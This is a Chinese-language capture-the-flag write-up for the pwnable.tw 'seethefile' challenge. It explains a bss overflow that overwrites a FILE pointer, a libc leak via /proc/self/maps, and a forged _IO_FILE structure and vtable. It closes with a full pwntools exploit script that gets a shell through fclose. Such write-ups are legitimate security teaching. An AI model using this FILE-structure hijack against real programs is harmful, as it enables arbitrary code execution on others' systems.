和媳妇一起学Pwn 之 seethefile

漏洞点是:存在一个位于bss段的变量输入溢出,溢出后可以覆盖一个IO_FILE结构体的指针。

利用方式:利用题目读取文件的功能通过linux的proc伪文件系统泄露libc基址,然后溢出IO_FILE的指针指向一个伪造IO_FILE结构体,并且根据libc基址伪造虚表。当伪造的结构体被fclose使用时,虚函数将被调用,即可getshell。

检查

➜  file seethefile
seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped
➜  checksec seethefile
[*] '/Users/Desktop/pwn/pwnable/seethefile/seethefile'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,除了NX,剩下的保护没开,没去符号表。

漏洞点

程序本身的功能是可以打开,读取,关闭文件,还可以将读取的内容打印出来。不过一次只能读取0x18F个字节,而且不能读flag文件。输入文件名和读取文件内容的地方都做好了边界控制,没有什么问题,不过在退出时:

case 5:
printf("Leave your name :");
__isoc99_scanf("%s", &name);

这里没有检查输入name的长度,导致可以覆盖name后面的内存。位于bss段的name后面就是那个文件的fp指针,之后又去调用了fclose并传入了这个fp指针,这里就是漏洞点所在。

_IO_FILE

在利用之前,我们先来学习_IO_FILE。不过在学IO_FILE之前,我们先了解两个函数openfopen

  文件描述符(低级IO) 文件流/文件指针(高级IO)
标准 POSIX ANSI C
层次 系统调用 libc
数据类型 int FILE *
函数 open/close/read/write fopen/fclose/fread/fwrite/fseek

所以要学习的_IO_FILE就是fopen这套libc实现的高级IO操作相关的一个结构体_IO是值其所在是libc的IO库中,所以说的FILE结构体值指的就是_IO_FILE,在stdio.h的头文件中有typedef:

/usr/include/stdio.h

struct _IO_FILE;
typedef struct _IO_FILE FILE;
typedef struct _IO_FILE __FILE;
extern struct _IO_FILE *stdin;		/* Standard input stream.  */
extern struct _IO_FILE *stdout;		/* Standard output stream.  */
extern struct _IO_FILE *stderr;		/* Standard error output stream.  */

至此我们可以开心的学习_IO_FILE

一句话概括为啥要研究_IO_FILElibc实现的文件流机制中存在可以被改写的函数指针

利用

所以本题的思路很清晰了,通过改写bss段的FILE指针到我们伪造的结构体上,并布置好虚表即可getshell。

泄露libc

本题泄露libc的基址实在是没啥技术含量,因为直接能读文件,所以直接利用linux的proc伪文件系统读取/proc/self/maps即可获得libc基址,不过本地和远程的布局可能有些许的不同,因为一次最多只能读取0x18f个字节,所以可能需要读两次才能读到libc的基址。

伪造IO_FILE结构体及虚表

因为在退出的时候,我们可以无限写bss段往后的内存,所以我们把构造的fake FILE也放到这里,并且bss段地址是已知的,这样也才能提前计算fake FILE的地址,以便覆盖程序的fp指针。并且本题给的libc版本为2.23,libc2.24以下的版本没有对虚表进行检查,所以直接伪造即可。当然就算存在检查也是可以想办法绕过的。

fakeFILE = 0x0804B284
payload  = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

完整exp

from pwn import *

context(arch='i386',os='linux',log_level='debug')
myelf  = ELF("./seethefile")
libc   = ELF("./libc_32.so.6")
io     = remote("chall.pwnable.tw",10200)

sla          = lambda delim,data       :io.sendlineafter(delim, data) 
openfile     = lambda name :  (sla("choice :","1"),sla("see :",name))
readfile     = lambda      :  (sla("choice :","2"))
showfile     = lambda      :  (sla("choice :","3"))
leave        = lambda name :  (sla("choice :","5"),sla("ame :",name))

# leak libc
openfile("/proc/self/maps")
readfile()
showfile()
io.recvuntil("[heap]\n")
libc_addr = int(io.recv(8),16)+0x1000
system_addr = libc_addr +libc.symbols['system']

# make fake file
fakeFILE = 0x0804B284
payload  = 'a'*0x20
payload += p32(fakeFILE)
payload += p32(0xffffdfff)
payload += ";$0"+'\x00'*0x8d
payload += p32(fakeFILE+0x98)
payload += p32(system_addr)*3

# getshell
leave(payload)
io.interactive()

参考